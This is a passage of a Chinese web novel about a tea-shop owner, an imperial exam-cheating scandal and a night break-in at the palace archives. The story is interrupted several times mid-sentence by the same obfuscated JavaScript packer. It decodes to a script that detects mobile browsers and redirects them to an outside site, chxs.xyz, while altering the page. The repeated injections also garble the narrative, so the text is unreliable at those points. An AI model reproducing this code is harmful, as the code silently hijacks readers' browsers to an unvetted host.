“呃……算是吧。”栾霜柏含糊其辞。 并非他有意遮掩，这桩惊天秘事，波及范围太广。 他怕稍有不慎，牵连知情人。 桂姑娘本善良无辜，何必因他的私事遭受迫害，只盼姑娘能平安顺遂罢了。 桂枝儿看栾霜柏吭吭唧唧的样子，心里也猜出了个七七八八。 “想查恩人死亡真相，又见京城水太深。”桂枝儿大胆猜测道，“于是你主动请旨入北境杀敌。” 随着卤锅翻滚，热气腾腾的香味愈发浓郁。 那香味中还带着丝丝甜意，是香料在卤汁中的完美融合，让人垂涎欲滴。 “你早就知樾王的身份，两相勾结……嗯，不是，共同协作后，立了军功再入京。” 桂枝儿咳了两声，掩饰自己的言语错误。 区区一个武状元，在京城左右掣肘、难受重视。 但立过功的将军就不一样了。 夕阳的余晖洒在庭院，栾霜柏一袭玄色长袍，身姿挺拔却又透出几分疲惫。 他坐在藤椅上，微仰着头，面露无奈之色。 桂枝儿太聪慧了，从蛛丝马迹中就能拼凑出事情原貌。 “樾王也安排了吏部、兵部的内应与我对接。”栾霜柏手指无意识地轻敲藤椅扶手，眉头微微皱起。 “但我信不过他们。” “为何？”桂枝儿好奇地问道。 “咳，小爷好歹也是捉拿匪徒百战百胜的英才。”少年脸色微红，眼神明亮锐利，透露出一种自信骄傲的神气。 他挺起胸膛，露出一口洁白的牙齿。 “倘若樾王为了拉拢我对抗朝廷，故意歪曲真相，恩人岂不蒙冤离世？” 嘿，倒让你小子装上了！ 桂枝儿莞尔一笑。 少年不过弱冠稚龄，却能带兵驱除鞑虏。 青涩面容经过历练已显坚韧，面对心仪的女子，还是忍不住暗戳戳耍个帅。 “既如此，小女子给将军介绍个打探消息的掮客。”桂枝儿轻眯双眼，“他定会尽心尽力。” 算算时间，某位隔三差五就来卤味店报道的客人，也该现身了。 刚说打锣锣就到。 不多时，后院门被敲得“咚咚”响，打开后，一个身着对襟圆领蓝袍的中年男子，谨慎地窜了进来。 他嘴唇较厚，眼圈发黑，一副贼眉鼠眼又满怀期待的样子。 正是户部侍郎大人——镇北前任知府马碌！ “桂小娘子叨扰了，本官来取预定的辣卤。”马侍郎没注意院内还有他人，只顾谄媚地笑着。 要说这马碌，在捞钱方面当真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740122|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一手。 他见桂记卤味店名声渐旺，脑筋一转，就想到了创收的新方式。 桂记卤味店与翠园楼的厨艺大比还没结束，他就打出了“嘉礼宴，吃桂记”的宣传语。 大梁日薄西山，京城亦是百业萧条。 但怎么赚富人的银子，马侍郎头头是道。 “小娘子您就听我的，每逢大宴，桂记的菜品不上桌，便显得主人家没权势、没门路。”马侍郎笃定道，“只要植此念于人心……” “价格自会水涨船高，一菜难求。” 桂枝儿哭笑不得。 “这就对了！”马侍郎一拍巴掌。 他愈发觉得，与桂记卤味店搭上线是正确的决定。 甭管桂小娘子和北境有没有见不得人的关系，若成大业，他是开国功勋。若樾王失利，他赚了大把的金子何愁没有退路。 马侍郎私自取走的货卖与谁，桂枝儿并不关心。 反正他只坑权贵，不坑穷人。 “大人稍候，卤味还未出锅。”桂枝儿伸手指向栾霜柏，“这位少侠您可能没见过。” 当然没见过，乞颜乌什部落骑兵入侵时，时任镇北知府的马碌，一接到消息便带着府上理事卿们退守十二堡。 早就撒丫子跑了。 “他从北境来，想打听一些京城秘事。”桂枝儿言语模糊，“消息不白买，会付报酬。” 听闻此言，马侍郎面上陡然闪过一丝惊喜之色。 旋即，他又强自镇定，口中嗫嚅道：“这……这如何使得，为北境的大人做事，是下官的福分。” 然而他声音中带了一丝不易察觉的颤抖，泄露了内心的渴望。 马侍郎假意推辞，看栾霜柏的眼神却似是极力压抑着兴奋，将贪念展露无遗。 听到北境来人，他揣测是樾王接受了他的投诚。 “多少钱都好说，只是要打听的是……的事儿。”栾霜柏伸手指了指天。 马侍郎表情凝固，厚嘴唇子哆嗦了几下。 “那得加银子。” 76. 煎槐花饼 又经旬日，杭京的春末夏初如画卷般徐徐展开。 街巷间，垂柳依依。槐树嫩绿的叶子层层叠叠，点缀着星星点点的槐花，洁白幽香。 往来百姓惊讶地发现，城门身着黑甲的士卒们骤然增多。 “将尔等身份、籍贯、行程一一道来，务必句句属实！” 士兵俱神情肃穆，顶戴盔甲在朝阳的映照下，闪烁着冷峻的光。他们手中长枪直指天空，宣告城池正处于高度警戒状态。 再迟钝的百姓，也深切感受到了局势的紧张与严峻。似乎有一场未知的风云变幻，即将在这片土地展开。 “不查出京的人，只严查进京的人。”民间窃窃私语声不断，“听说修筑河堤根本没用，清野州城都被淹了。” “是怕逃荒难民南下，冲撞京城的贵人吧。”有人一语道明。 桂记卤味店今日营业。 客官们络绎不绝地涌来，刚空出的位置，瞬间又被新的客官填补。 桂枝儿发觉马尾辫女孩对面食颇有兴趣，准备教她制作一款简单的春日槐花饼。 两人用指尖轻轻掐根部，去除采撷槐花的梗。 时而遇到几根纠缠在一起的小枝叶，也不急不躁，耐心地逐一梳理开。 随着动作不断重复，槐花愈发纯净，片片花瓣紧密相拥，在阳光映照下闪烁着温润的光泽。 “洗干净，要沥干水分。”桂枝儿耐心指导，“然后我们用鸡蛋和面。” “好嘞。”马尾辫女孩神情专注，边看边学。 灶台上搁着一只粗陶碗，女孩取一枚圆润小巧的鸡蛋，在碗沿轻轻一叩。随着“咔哒”一声脆响，蛋壳绽裂，金黄色的蛋液便缓缓倾入碗中。 她再用木勺舀起竹箩中的面粉，纷扬而下。 竹筷在碗中搅拌穿梭，发出“笃笃”轻响，面粉与蛋液相互交织。 撒入槐花后，麦香与蛋香瞬间逊色不少，槐花的香气馥郁中不失清新，宛如山间清泉与花蜜交融。 “灶台烧小火，少少油。”桂枝儿满意地点头，“一勺一个摊成小饼，慢慢煎即可。” 厚薄均匀的槐花饼，在温热油的温柔包裹下，发生蜕变。 饼的边缘率先泛起一圈金黄，迅速向中心蔓延，闪耀着诱人光泽。 在金黄中，偶尔还点缀着几处焦斑。 它并非是焦糊的黑色，而是浓郁的深褐色，为槐花饼增添了一份独特的风味与魅力。 “出锅！”桂枝儿赞许地笑了。 后厨一片祥和，包厢里却起了冲突。 八仙桌上，盛菜的碟子被舔舐得锃亮，莫说肉块，便是一星半点的菜汁也寻不见踪迹。 原本摆放烤鸭的盘中，仅剩下一副干干净净的骨架，泛着油光。 这间包厢的客官身着绫罗锦缎，打眼一看便知，非富即贵。 中年男子面部线条凌厉，透着一股不近人情的严苛，女子下巴上扬，看上去亦是盛气凌人。 “客官，您这一桌需收十两银子。”豆芽菜少年为难地看着递到他面前的陌生纸钞。 钞票上部横印“大梁承朔宝钞”六字。 中间印有横列的银两图案，标注金额。下印“与铜钱互通使用，诸路通行”以及“伪造者斩”字样。 宝钞盖官印防伪，四周饰以龙纹及海水图案。 “承朔宝钞乃是圣上发行，你们区区小店，胆敢违抗圣旨？”大理寺正裴辰不耐烦地撇了撇嘴。 “就是，吾父乃大理寺正，难道会骗你不成？”吃饱喝足的裴家小儿满面红光，轻轻拍着圆滚滚的肚皮。 科考彻底结束，他总算能享受一番了。 豆芽菜少年在威逼下局促不安，眼神慌乱。 但他实在不知所措。 见过书生们用铜板拼凑结账的，见过富商甩出黄金需要找零的，也见过南北钱庄的银票。 就是没见过这什么“承朔宝钞”。 不怪底层百姓不知情。 此次变钞政策来得仓促，针对国库入不敷出的境况，当今天子拍板——大发货币缓解困局。 连夜赶制的新型纸币，被用于发放官员俸禄、酬付河工粮饷。 “十两银子就变成一张纸，能好使吗？”刚拿到饷银的大理寺正，夜晚躲在被窝里嘀嘀咕咕。 更深漏断，烛火摇曳。 “夫君，咱们小宝不是吵着要去新开的桂记卤味店尝鲜吗？”榻上衾被之下，妇人侧身而卧，语气尖酸刻薄，“刚好……” 两人对视一眼，点了点头。 宝钞说不定何时就会变为一团废纸，还是金银珠宝留在自己的手里踏实。 于是便出现了眼下的尴尬局面。 “幸蒙大人莅临敝店，蓬荜生辉。”听到争论的桂枝儿推开包厢门，动作优 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751939|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雅端庄地行了一个福礼。 她身姿轻盈，乌发如瀑，柔顺地垂在香肩两侧。 一袭月白色的罗裙，似有暗香盈袖，几缕槐花别在发梢，更映衬出面庞的白皙。 “观大人今日雅兴盎然，缘何未赴朝会？”桂枝儿笑容明媚地问道。 大理寺正裴辰冷哼一声。 这小娘子讲话软中带刺。大理寺正的名头听起来威风，实则若不涉及汇报大案要案，还轮不到他上金銮殿参加早朝。 但裴家小儿不如其父，听不懂弦外之音。 他见桂枝儿袅袅娉婷，宛如仙子下凡，只顾直勾勾地盯着。 “久闻小娘子庖厨之艺甚佳，今日一见，果真是貌若天仙啊！”裴家小儿双眼被肥肉挤得狭长。 目光肆意游走，难掩其中透出的那股贪婪之色。 待明日春闱大榜公布，他成了进士，便纳她入府做个小妾。 “咳，不要不识抬举，速了此账，休得延误。”大理寺正裴辰见到小儿痴态，恨铁不成钢。 桂枝儿挑了挑眉，眼神落在这承朔宝钞上。 连年军费供应短缺，国库的银子都不知道花哪儿去了。 新帝登基以来，大梁多灾多难，从瘟疫到水患，如今恐怕真是黔驴技穷。 “变钞”本质还是苦一苦百姓。 通货膨胀带来的后果必然是自取灭亡！ 未等桂枝儿想出理由推辞，前堂又是一阵喧闹。 数十名书生模样的青年人鱼贯而入，他们身着长衫，头戴方巾。他们有的面露怀疑，有的神情激愤。 “李兄从哪里得到的消息？可靠吗？”椅挪动之声响起。 “保准可靠，从翰林院到各大文社，已经传遍了。”扬安学子李觅双手不自觉地紧握成拳。 他深呼吸，似在极力克制着内心的汹涌情绪。 “本次科考的主考官——内阁卢大学士，为了揭发舞弊案，在早朝死谏。”李觅不自觉放大了声音，“一头撞在金銮殿的立柱上。” “嚯！”前来卤味店聚餐的学子们一片哗然。 低语声交织一片。 “你说什么？谁允许你在这里颠倒黑白！”大理寺正裴辰听闻此言，浑身一震，大踏步走上前。 他眼中的怒火似要喷薄而出，牙齿也咬得咯咯作响。 爵爷不是保证万无一失吗，怎会如此？ 77. 文臣死谏 大理寺正一把揪住了李觅的衣领。 力道之大，使得后者的身形猛然一晃，险些站不稳。 “做什么，要动手吗？”团结的北境举子一拥而上。 “竖子安敢在此大放厥词！科举之制，为朝廷遴选贤才，其规矩森严公正。”大理寺正裴辰眉峰如剑，面色冷峻。 “汝这般诋毁污蔑，是何居心？” 斥责声铿锵有力。 但裴家小儿和其母显然没有这么好的心理素质。 小胖墩宽阔的额头上，豆大的正汗珠不停地往外冒，他那刻薄的娘，一双吊梢眼因惊恐瞪得滚圆。 “掷石于众，唯被击者方作犬吠之状也。”有人打抱不平，起哄道。 谁被石头砸急了，谁才会狗叫。 莫非他便是科举舞弊参与者中的一员？ 双拳难敌四口，大理寺正一家终究落荒而逃。 “哎！”桂枝儿挽留失败，愤恨地骂道，“到底是让他们逃单了，真晦气！” 大理寺正是吧，她记住了。 “先……桂小娘子，劳您为我们先备些餐食。”身着青素色长袍的王蒲放下竹杖，拖拽着微跛的左足，走到桌前缓缓坐下。 他背脊挺拔如松，神色却有些迷茫。 事态发展出乎意料，他急需先生答疑解惑。 “消息保真吗？”桂枝儿端出刚做好地春日槐花饼。 “传得有鼻子有眼的。”扬安学子李觅闻到香气，顾不上烫，当即就抓起一块饼往嘴里塞。 轻咬一口，饼皮酥脆，只听“咔嚓”一声。 软糯的内馅裹挟着鲜嫩槐花的芬芳，在舌尖上绽放开来，饼皮些微的焦香与槐花淡雅的甜香交织缠绵，勾得人馋涎欲滴。 仿佛春阳暖煦，尽在其中。 北境举子们被美食抚慰了焦躁的心，总算镇静下来。 一位纤细娇弱的女学子，用丝帕擦了擦泛红的眼眶，眼神逐渐恢复清明。 这届科举试题她答得十分顺手，本以为有望取得名次。 “据说是一场有组织、有预谋的大规模换卷。”扬安学子李觅一边狼吞虎咽，一边谴责道，“谁也不晓得，自己的试卷是否为他人做嫁衣？” “出了这种事儿，也不知明天春闱榜单还公不公布了？”泼辣圆润的女学子心直口快。 京城米贵，绝大多数考生赶考的盘缠并不多。 只够勉强坚持到放大榜的日子。 若不中，只管打道回府。 倘有幸科举中第，那么收获的赏金贺礼，也足够支撑到他们参加殿试、分拨职事。 好在，凌河县的举子们手握家乡豪绅捐赠的车马费，不用担忧会露宿街头。 “揭发此案的内阁卢大学士……”桂枝儿微微停顿，眼中透露出一丝疑惑与思索，“为何要做如此出格之举呢？” 死谏壮烈，但要以生命为代价。 只有当君主的决策违背正统、危及苍生社稷时，才会有臣子挺身而出，不惜触怒龙颜也要直言进谏。 可为了科举作弊案，犯不上啊？ “莫非弃一人之命，保全九族？” “不然。”王蒲摇了摇头，“主考官失察，也不过被革职，或发配军台效力，并不累及亲族。” “难道圣上早就得知此事了，却不愿处理？否则说不通卢学士为何要死谏啊！” 众考生联想到了最坏的答案，相继面露惊惶。 十载寒窗苦读，悬梁刺股，唯一的期盼，不就是凭才学登科入仕，一展报国宏志吗？ 此等作弊行径，败坏儒林清正风气。 圣人必当严惩恶徒！岂能听之任之，让忠良寒心？ 书生们想破脑袋也想不明白。 莫说他们了，就是坐在垂拱殿的当今天子也没想明白。 殿内，龙涎香的袅袅青烟悠然升腾，萦绕在雕梁画栋间。 已散朝许久，天子龙袍微皱，似是被长时间端坐所累，连绣于其上的金龙也难掩疲态。 冕旒上的玉珠有气无力地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765113|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晃动着。 “他卢翰文死谏，置朕于何地？”天子双目半阖，“独他一人是清臣、忠臣？” 天子嗤笑一声，眼眶微微凹陷，血丝清晰可见。 “朕已责令人详加查究了，还想怎样！” 秉笔太监站在一旁，手持狼毫笔，身形佝偻。 墨汁在笔尖欲滴未滴，他脚尖内扣，身体微微前倾，保持着谨慎与卑微。 只待一声令下，便为主子拟旨。 秉笔太监小心翼翼的屏住呼吸。 闹出这么大的乱子，所有人百思不得其解，只有他隐约猜到了原因—— “科举舞弊乃重事，若弗能解其弊，则罪言事之人。” 或许就是这句恐吓，将卢学士吓破了胆。与其被处死，不如死谏，在史书上博个好名声。 秉笔太监眯了眯眼，袍角悄然无声地垂落在地，他决定把这个秘密永远烂在肚子里。 “此案究系何人所为？可曾查明？”天子声音沉缓而威，隐隐含怒。 “回圣上，是、是……”皇城司公察伏跪于地，不敢抬眼直视。 话语方出，便觉喉间干涩沙哑。 “莫要吞吞吐吐！”天子的耐心即将耗尽。 “是弥封所和对读所的下人，趁着誊录的机会，调换考生试卷姓名，偷梁换柱。”皇城司公察手指紧紧抠着地面。 他欲言又止，嘴唇嗫嚅，几番挣扎后补充道。 “据探查，背后是亲王府……” “啪嗒。” 又一只上好的青花玉盏迸碎在地，碎片四溅。 皇城司公察额头触地，不敢偷觑。 他的脊背早已被汗水浸透，心尖乱颤，恨不得自己查出来的幕后主使另有他人。 亲王府的爵爷，位高尊崇，是拥立圣上登基的头等功臣。 先皇与先太子相继故去时，正是爵爷力排众议，助圣上坐稳江山。 秤杆的一端是民心，另一端是权贵。 这案子，要怎么办？ 78. 五香瓜子 穿过尔雅坊，跨过一道桥。 礼部贡院南墙，便是春闱放榜的地方。 翌日，两位小学徒自告奋勇要担些零嘴儿去放榜处卖。 左右今个儿店里歇业，桂枝儿便同意了。 准备什么点心吃食也是有讲究的。 大梁国土广阔，南北各异。 东鲁?是一张比脸盘大的煎饼，卷上黄酱大葱便可饱腹；过了楚淮，那酥饼小巧玲珑，似一只倒扣的蟹壳，愈发精细鲜美。 “干脆带点五香瓜子去卖吧。”桂枝儿一拍巴掌，“轻巧易带，放榜若是推迟了，大家闲唠嗑时有个嚼头。” “好主意！”两位学徒齐声欢呼。 五香瓜子早已有之。 将花椒、桂皮、八角、丁香、小茴香等按比例混合，再炒出香脆即可，如此加工后的瓜子香味浓郁，嗑起来别有风趣。 但桂枝儿作为卤味店老板，用香料的行家里手，自然不会满足于常见口味。 “让我找找看。”桂枝儿在装满瓶瓶罐罐的调料架上挑拣，“青花椒、薄荷、百里香……” 身着粗布麻衣的小女孩坐在矮马扎上，用筛箩过滤杂质，挑选出颗颗饱满的优质瓜子。 她那乌黑的马尾辫随着动作轻轻晃动。 若是遇到干瘪或有瑕疵的瓜子，便摇摇头，将其拨到一旁。 力气大些的小男孩则架起了炉灶和锅具。 待桂枝儿将整粒的香料碾碎后下锅，男孩儿挥舞木铲，不断翻动瓜子，使其受热均匀。 随着炒制进行，“噼里啪啦”的清脆响声打破宁静。 瓜子们在锅底受热，微微膨胀，轻快地敲打铁锅内壁，与炭火的炸裂声、木铲的摩擦声一同构成和谐的乐曲。 当瓜子表面微微发黄时，香气已经溢出后厨。 “这就行啦，再炒几锅别的口味。”桂枝儿嗅了嗅，眼眸亮晶晶的。 两位小学徒担着瓜子前往放榜处时，贡院外早已被围得水泄不通。 攒动的人头连绵不绝，来自各地的举子们身着长衫，头戴方巾，在人群中挤来挤去。 “文景兄莫急，李兄已经在前面占到好位置了。” 围观的百姓则站在更外围。 老人踮起脚尖，似引颈期盼的鹤，浑浊的双眼中满是好奇。虎头虎脑的孩童骑在父亲的肩头，惊讶地张望着。 挽着菜篮的妇人路过此处，被这热闹吸引，哪怕不识字，也簇拥着往人群里挤。 人人都试图找到一个最佳位，以便第一时间看到榜单，目睹这决定无数人命运的时刻。 王蒲放下拐杖，歇坐在路边。 他虽先天有疾，却遮不住眉眼间的书卷秀气。 “都有什么瓜子？”他摸了摸小学徒的脑袋，和蔼地问道。 “有奶油的、焦糖的、藤椒、海盐……”马尾辫女孩脆生生地报上名来，“十二贯铜钱一竹筒。” “这么贵，你卖的是金瓜子啊？” 看热闹的百姓瞪大了眼睛，边摇头边咋舌。旁的小铺卖瓜子，顶多五、六个铜板一纸袋。 不过小姑娘说的这些味道倒是稀奇，未曾听闻。 优质的葵花籽外壳色泽光亮，大小均匀。 王蒲不吝啬，摸出二十贯铜钱惠顾生意，拼了三种口味，准备给辛苦排队的同乡好友们也尝一尝。 他用修长的手指轻拈一粒，送至唇边。 “咯嘣”瓜子壳应声而裂，露出里头的果仁。 舌尖一卷，一阵海风携裹的清爽咸意席卷口腔。瓜子口味粗粝又迷人，咸而不齁，好似古老渔船上晾晒的海盐。 “公子，这葵花籽味道如何？” 灵雀儿好奇地搭话，少女着一袭藕色长裙，腰间丝带随之飘舞，末端挂一对花蕊铃铛。 她莲步轻移，铃铛发出清脆声韵。 一看便是俏皮胆大的富家小姐。 灵雀儿的长兄也下场参与了此届春闱，她对读书无甚兴趣，只陪同兄长等待放榜。 眼神却完全被这新奇口味的瓜子吸引住了。 “尝尝看。”王蒲很自然地伸出手。 阳光为他的手掌撒下一层薄光，手指劲瘦白皙，指甲圆润光滑。 他手心金黄色的瓜子愈发醒目。 灵雀儿愣住，不经意间歪了歪脑袋，双唇微张，似是没能理解这三个字。 王蒲见她不接，同样面露困惑。 在北境，若有路人盯着你问“好吃不？”，那便是想尝尝的意思。 甭管认不认识，都要慷慨分出一点吃食。 难道江南并无此等习俗。 姑娘是否觉得他太过冒犯。 王蒲一时间有些踟蹰，递出去的手也不那么坦然了。 “多谢公子。” 没等王蒲反悔，灵雀儿便伸手接了过来。 她的眼睛弯成了月牙，心情愉悦地屈膝行了个万福礼。 又是“咯嘣”一声，灵雀儿尝到的是奶油味瓜子。 这款瓜子的炒制方法相对复杂些。 要先熬煮牛奶，等奶中的油脂上浮，将其收集起来，再与适量的糖均匀混合，共同炒制。 瓜子仁在浓郁的奶香包裹下，醇厚微甜。 咀嚼时，仿佛能闻到丝丝缕缕的清甜，奶的柔和与瓜子的酥脆交融。 灵雀儿睁大了双眸，迫不及待地摸出银票。 “每种口味各来一竹筒。”富家娇女财大气粗。 王蒲忍不住莞尔一笑。 在二人的带动下，多味瓜子的销路逐渐被打开，回购者甚多。 自朝暾初升至日昳之后，春闱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772704|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大榜没有一丝要公布的迹象，贡院的门紧锁，只有身着黑甲的士卒驻守，以防群众闹事。 “昨个儿在小娘子店里闹事的小胖墩，不就是被咱们揍过的那位大理寺正之子吗。”扬安学子李觅记性很好。 “依我看，他绝对有猫腻。”另一位书生接话道。 “早知道多揍那小胖墩几拳了。” 榜单公布无望，北境学子也懒得往前挤了。 他们纷纷退到外围唠起闲话来，靠嗑瓜子缓解焦虑。 “打架是不好的。”豆芽菜少年默默念叨。 他对敢动手群殴的北境书生们心有恐惧，但见大家是为桂小娘子打抱不平，又觉得解气，心里矛盾极了。 瓜子陆续售光，两个小学徒提着扁担和空箩筐，揣着赚来的钱，喜滋滋地返回了桂记卤味店。 店门半掩，深紫色的花穗一嘟噜一嘟噜垂下，形成天然帘幕。 店幌稳稳地挂着，让人心安。 “小娘子，俺们回来啦！”马尾辫女孩飞奔着跑进屋讲述今日见闻，“墙上果然没有贴大纸，“但大家都不肯走。” 没人敢在黑甲士卒的枪尖下造反，只有蚊蝇嗡嗡般的私语不断。 非议声窸窸窣窣，祷告声隐忍不安。 “这么拖着不是个事儿。”桂枝儿语露锋芒，“官府救弊匡名的最佳时间，只有十二个时辰。” 若不能尽快化解舆情，事态只会越来越糟。 马尾辫女孩似懂未懂。 一抬头，看到小娘子的打扮与平日里大有不同。 只见桂枝儿身着一袭深黑色的夜行衣，对襟束腰、紧身窄袖，勾勒出她纤细却有力的腰肢。 连帽披风遮盖住头部，锐利的眼神颇为英气。 “给你们做了些小杂鱼碎肉蛋黄饭。”桂枝儿一边往身上藏匿武器一边嘱咐道，“夜里我出去一趟。” 她从案板上取了一柄狭长的剔骨刀，刀刃闪出冷峻寒光。 “若是明日晌午未归，就去春和景明客栈找掌柜的。” 两个学徒懵懵懂懂点头应下，谢过小娘子后，抱着饭盆就要回房间。 “哎，不是给你俩吃的！”桂枝儿哭笑不得，“你们不是一直想去西市卖果蔬那户人家找小猫玩吗。” “天黑前记得回来。” “谢过小娘子！”两个学徒眼睛骤然亮了，浑身疲惫尽消，兴奋地捧着猫粮跑出去。 街巷的青石板路被他们踩得哒哒作响。 惊飞了屋檐下几只打盹儿的瓦雀。 “小娘子要做什么去啊？”豆芽菜男孩跑得气喘吁吁。 “可能是帮人杀猪吧。”女孩思考了一下。 “俺二大爷在村里杀猪就会穿深颜色哩衣裳，还要带把快刀。” “哦。”男孩深信不疑。 79. 夜闯皇城 “咳，人都走了？” 清爽的少年音带着几分不自然的颤抖。 栾霜柏从暗处现身，身形灵动仿若狸猫，黑眸警惕地四下扫视。 同样着一袭深衣披风，他脑袋缩着，英俊的面庞藏在遮掩口鼻的方巾下，唯有耳朵高高竖起。 怎么看都鬼鬼祟祟。 “离皇宫还有八百丈远呢，你慌什么？”桂枝儿尽显坦荡。 “我这、这不是犹未备妥嘛！” 猫尾巴被踩到，青涩的尾声上扬，暴露了少年的心虚。 栾霜柏怎么也料不到，桂枝儿会如此大胆。 先前他给足了银两，马侍郎八方探寻、广罗音讯，如饿狼扑食般拼凑情报。 凡有信息缺失，便威逼利诱，务求详尽。 两个人合作，竟将原本如乱麻般的事情，丝丝缕缕拆解开，拼凑出了大致真相。 现在，佐证只差最后一环。 承朔元年的天子起居注——存于史馆藏书阁内。 宫廷重地，戒备森严。 “今夜月黑风高，小女掐指一算，适合夜闯皇宫。”桂枝儿搓了搓手，满怀期待。 她眼中波光闪烁，嘴角不自觉上扬。 从科举舞弊事件泄密速度之快，足以见得，大梁皇城四面漏风。 是樾王安插的探子推波助澜也好，是内部摇摆的官员多嘴多舌也罢。 总之，天子已经失去了对朝堂的绝对掌控权。 此时不闯，更待何时？ “我便不该告知姑娘此事！”栾霜柏听闻此言两眼一黑。 须臾，他抬手狠狠揉了揉太阳穴，眉心紧蹙。 他素知，看似温婉娴静的桂枝儿，才是最有主意的那个人。 但他没想到，干诛九族的大事，在桂枝儿口中，竟和做一碗卤肉饭一样随意。 “嗨，小将军可是捉拿匪徒百战百胜的英才！”桂枝儿狡黠一笑，“勇者临危，有何可惧？” 栾霜柏喉结艰难地上下滚动，愣是一个字也吐不出来。 诛心之语啊！ “无论如何，若被禁军发觉，姑娘无需顾及我，只管先撤。” 栾小将军无奈妥协了。 月隐云帷，星芒暗敛。 在沉甸甸的墨色掩盖下，两只庞大的黑蝙蝠瞄准守卫巡视空档，翻越墙头，穿梭在皇城内。 朱漆宫门的铜钉泛着冷光，像是幽暗巨兽森然凝视的眼睛。 值夜太监提灯，迈着细碎的步子，勉强撕开周遭昏暗。 风过处，墙头雀麦草簌簌。 “怕是要下雨。”值夜太监抬眼看不见月亮，嘟囔了一句，急匆匆走开。 裕和公主想喝燕窝莲子粥，他得通知御膳房。 一刻也不能耽搁。 身着夜行衣的两人足尖轻点，燕子三抄水，腾空略过宫中龙池，隐匿在重叠假山之间。 起初栾霜柏还担心桂枝儿会跟不上。 但很快他就发觉自己多虑了。 他一式梯云纵蹬起身来，桂枝儿便使出八步赶蝉，紧紧相随。 无论快慢，桂枝儿总能身法灵活的追上。 似乎仍有余力。 “咔嚓”一声，闪电如银蛇狂舞。 夜雨终于来临，惊雷“轰隆隆”地炸开。刹那间，豆大的雨点噼里啪啦地砸向皇宫的琉璃瓦顶。 落了雨，砖瓦缝隙间的青苔更加湿滑。 栾霜柏没踩稳，一个打滑失去平衡。 桂枝儿身形一闪，如鬼魅般欺近，探出手精准地揪住他的后脖颈，硬生生将他提了起来。 少年双脚离地，在空中晃悠了两下。 琉璃在暴雨的重击下铮铮作响，屋顶已化为一片汪洋，涟漪层层叠叠。 栾霜柏耳尖又热乎了，这次是尴尬的。 “当心。”桂枝儿温声细语，她双眸亮如星辰，满是兴奋劲儿。 “前方便是史馆了。”栾霜柏压低声音，他奉旨陪裕和公主游乐时，早已将皇宫布局烂熟于心。 三更天，藏书阁的轮值守卫刚交替完毕，短时间内不会变。 巡视禁军约半个时辰才会路过一次。 两人默契地对视一眼。 栾霜柏从天而降，右手自上而下劈掌，裹挟着一股凌厉的劲风，精准地击向一位守卫的后颈。 另一人悚然大惊，将欲反击，已被桂枝儿轻松点了睡穴。 霎那间，两个守卫还来不及发出半点声响，便像一滩软泥般瘫软在地。 雨水顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774112|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着盔缨、甲片潺潺而泻。 为求无虞，桂枝儿又对着他们的鼻孔各吹了一点儿十香软筋散。 “小将军，你自去找天子起居注。”桂枝儿神秘兮兮，“我听说殿试前，春闱的试卷都在这里存档。” “我要寻一位故人的卷子。” 宫掖雨夜，水花如银珠乱蹦。 惊醒难眠的老妃嫔们手捻佛珠，忧心忡忡。当今天子在梦里，被岭南加急军报压得喘不过气，眉头紧锁。 无人知晓，两个不速之客，正自由地行走在藏书阁内。 “噌”一声，火折子橙红色的微弱光芒蹿起。 